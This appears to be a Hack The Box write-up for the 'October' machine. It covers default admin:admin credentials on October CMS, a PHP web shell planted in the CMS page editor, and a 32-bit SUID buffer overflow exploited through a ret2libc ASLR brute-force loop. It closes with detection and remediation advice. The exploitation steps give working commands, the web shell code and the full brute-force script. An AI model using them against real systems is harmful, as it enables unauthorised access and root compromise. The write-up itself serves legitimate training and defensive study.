Skip to content
Back to all posts

HTB: October

· 18 min medium Linux October

Default credentials on October CMS grant admin access, the code editor provides RCE as www-data, and a 32-bit SUID buffer overflow with ASLR brute-force delivers root in under ten seconds.

Overview

October is a medium-rated Linux box running Ubuntu 14.04.5 LTS on a 32-bit i686 kernel. The web service hosts an October CMS instance with default credentials (admin:admin) on the backend login page. From the admin panel, a CMS page with arbitrary PHP in the code section provides command running as www-data. Privilege escalation targets a custom SUID binary at /usr/local/bin/ovrflw: a 32-bit ELF that calls strcpy() without bounds checking. The binary has no PIE, no NX, but ASLR is active. A ret2libc payload brute-forces approximately 290 possible libc base addresses and creates a SUID copy of /bin/bash within ten seconds.

The box pairs a trivial web application misconfiguration with a proper binary exploitation exercise. The CMS access is almost embarrassingly easy; the buffer overflow requires understanding ret2libc, ASLR entropy on 32-bit systems, and the difference between bash and dash in non-interactive contexts.

Reconnaissance

nmap -sC -sV -T4 10.129.96.113
PortServiceProduct / VersionNotes
22SSHOpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13Ubuntu 14.04 banner
80HTTPApache 2.4.7 (Ubuntu)October CMS, Rainlab Vanilla

The HTTP title immediately identifies October CMS with the Rainlab Vanilla theme. Response headers disclose PHP/5.5.9-1ubuntu4.21. PHP 5.5.9 reached end-of-life in July 2016.

curl -sI http://10.129.96.113/
# X-Powered-By: PHP/5.5.9-1ubuntu4.21
# Server: Apache/2.4.7 (Ubuntu)

Attack Surface Analysis

October CMS backend

The backend login page is at /backend/backend/auth, the standard October CMS administrative path. No robots.txt protects this URL. There is no account lockout, no CAPTCHA, and no MFA.

October CMS ships with a default admin:admin account that administrators are expected to change after installation. On this box, it was never changed.

Custom SUID binary

Post-exploitation enumeration reveals /usr/local/bin/ovrflw, a SUID root binary:

find / -perm -4000 -type f 2>/dev/null | grep -v snap
# /usr/local/bin/ovrflw

This becomes relevant after obtaining local access through the CMS.

Vulnerability Analysis

Default credentials (CWE-1393)

AttributeValue
CWECWE-1393 (Use of Default Credentials)
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Root causeDefault admin:admin never changed after installation
ImpactFull administrative CMS access; leads directly to RCE

CMS code editor RCE (CWE-94)

October CMS allows administrators to write PHP in the “code” section of CMS pages. This code runs server-side within the page lifecycle: the onStart() method fires before the page renders. This is intended functionality, not a bug. When combined with compromised credentials, it becomes a direct code running primitive.

The critical distinction: PHP code must be in the code section (between == delimiters), not the markup section. Markup renders as Twig template text and does not run PHP. This tripped me up initially.

SUID buffer overflow (CWE-120)

AttributeValue
CWECWE-120 (Buffer Copy without Checking Size of Input)
CVSS 3.17.0 (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)
Binary/usr/local/bin/ovrflw, 32-bit ELF, SUID root
Root causestrcpy() copies command-line argument to stack buffer
MitigationsASLR active (randomize_va_space=2); no PIE, no NX

ASLR on 32-bit i686 provides approximately 8 bits of entropy for shared library mapping (the libc base varies across roughly 290 positions at 0x1000 alignment). This is too low to prevent brute-force. A 64-bit system would have 28+ bits of entropy, making this attack infeasible.

Exploitation

Step 1: Admin access via default credentials

curl -s -c cookies.txt -b cookies.txt \
    -d "login=admin&password=admin" \
    http://10.129.96.113/backend/backend/auth/signin
# HTTP/1.1 302 Found
# Location: http://10.129.96.113/backend

Step 2: RCE via CMS page code editor

A new CMS page is created through the backend editor. The theme must match the active installation; “rainlab-vanilla” is the correct theme name (using “demo” returns “The object you’re trying to access doesn’t belong to the theme being edited”).

Code section:

function onStart()
{
    $this["output"] = shell_command(input("cmd"));
}

Where shell_command is PHP’s built-in function for running OS commands.

Markup section:

{{ output }}

The page is saved with URL /shell. Verification:

curl -s "http://10.129.96.113/shell?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl -s "http://10.129.96.113/shell?cmd=cat+/home/harry/user.txt"
# [redacted]

Step 3: SUID buffer overflow with ASLR brute-force

From the www-data shell, I analyse the SUID binary:

ls -la /usr/local/bin/ovrflw
# -rwsr-xr-x 1 root root 7377 Sep 24  2017 /usr/local/bin/ovrflw

file /usr/local/bin/ovrflw
# ELF 32-bit LSB, Intel 80386, dynamically linked, not stripped

cat /proc/sys/kernel/randomize_va_space
# 2

EIP is overwritten at offset 112 bytes:

/usr/local/bin/ovrflw $(python -c 'print "A"*112 + "BBBB"')
# Segmentation fault

dmesg | tail -1
# ovrflw[...]: segfault at 42424242 ip 42424242

Extract libc offsets:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"
# 1457: 00040310   56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit"
# 141: 00033260   45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
# 162bac /bin/sh

The ret2libc payload structure: [112 bytes padding] [system()] [exit()] ["/bin/sh"].

Running ldd repeatedly shows the libc base varies between 0xb7540000 and 0xb7660000. The brute-force script cycles through all possible bases, piping commands to create a SUID bash binary:

#!/bin/bash
# Privilege escalation helper
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash

The brute-force loop:

for BASE in $(seq 0xb7540000 0x1000 0xb7660000); do
    SYS=$((BASE + 0x40310))
    EXT=$((BASE + 0x33260))
    BSH=$((BASE + 0x162bac))
    PAYLOAD=$(python -c "
import struct
print 'A'*112 + struct.pack('<I',$SYS) + struct.pack('<I',$EXT) + struct.pack('<I',$BSH)
")
    echo -e ". /tmp/r.sh\nexit" | /usr/local/bin/ovrflw "$PAYLOAD" 2>/dev/null
    [ -f /tmp/rootbash ] && echo "[+] Hit" && break
done

Within approximately ten seconds, the correct base is hit:

ls -la /tmp/rootbash
# -rwsr-xr-x 1 root root 986672 ... /tmp/rootbash

/tmp/rootbash -p -c "cat /root/root.txt"
# [redacted]

Post-Exploitation

uname -a
# Linux october 4.4.0-78-generic #99~14.04.2 i686 i686 i686 GNU/Linux

cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS"

32-bit Ubuntu 14.04.5. Every component is end-of-life: PHP 5.5.9 (EOL July 2016), Apache 2.4.7 (Ubuntu 14.04 support ended April 2019), the kernel itself is vulnerable to DirtyCow (CVE-2016-5195, patched at 4.4.26; this system runs 4.4.0-78 which post-dates the fix, but the system is still unsupported).

The ovrflw binary is a teaching tool. The combination of no PIE, no NX, and 32-bit ASLR makes it exploitable through multiple techniques: ret2libc (used here), NOP sled with shellcode (NX is disabled), or ROP chains. The low ASLR entropy is the critical factor: 290 attempts is trivially brute-forceable.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1078.001Successful login with default credentials at /backend
Command runningT1059.004sh spawned as child of Apache worker process
Privilege escalationT1068Repeated segfaults from ovrflw in kernel logs (ASLR brute)

Host-level: The ASLR brute-force generates hundreds of segfaults in rapid succession. Each crash produces a kernel log entry. Any monitoring system watching dmesg or /var/log/kern.log for segfault patterns would detect this immediately. The brute-force also creates predictable resource consumption (hundreds of short-lived processes in seconds).

Application-level: October CMS logs backend authentication events. A successful login with admin:admin from an unexpected source IP is detectable. The creation of a new CMS page with command-running functions in the code section would be visible in the CMS audit log.

Remediation

PriorityActionEffortImpact
P0Change default CMS credentials; enforce strong passwordsLowCritical
P0Remove SUID bit from /usr/local/bin/ovrflwLowCritical
P0Upgrade Ubuntu 14.04 to a supported releaseHighCritical
P1Recompile ovrflw with stack canaries, PIE, and NXMediumHigh
P1Add account lockout to the CMS backendMediumHigh
P2Upgrade PHP to 8.xMediumMedium
P2Remove X-Powered-By header from Apache configurationLowLow

The buffer overflow is a symptom of a deeper problem: custom SUID binaries that use unsafe C functions. Removing the SUID bit eliminates the immediate risk. If the binary must retain elevated privileges, it should be recompiled with modern protections (stack canaries via -fstack-protector-all, PIE via -fPIE -pie, NX via default linker settings) and rewritten to use strncpy() or strlcpy() instead of strcpy(). On a 64-bit system with ASLR, the ret2libc brute-force becomes infeasible, but relying on ASLR alone is defence in depth, not a primary control.

Key Takeaways

  1. Default credentials remain the most common initial access vector. The October CMS admin:admin account is documented in every installation guide. Attackers try default credentials before anything else. Automated scanners check for them. The fix is trivial: change the password. The failure to do so is an operational discipline problem, not a technical one.

  2. 32-bit ASLR is a speed bump, not a barrier. With approximately 290 possible libc base addresses, a brute-force loop completes in seconds. This is why 64-bit is the minimum acceptable architecture for any system exposed to local exploitation. The additional 20+ bits of ASLR entropy on x86_64 make the same attack take weeks instead of seconds.

  3. Ubuntu’s /bin/sh is dash, not bash. The system() libc function invokes /bin/sh -c, and on Ubuntu that means dash. Dash ignores BASH_ENV and only sources ENV in interactive mode. This matters for ret2libc: you cannot use environment variable tricks. The workaround is piping commands to stdin or creating a helper script, as demonstrated in this engagement.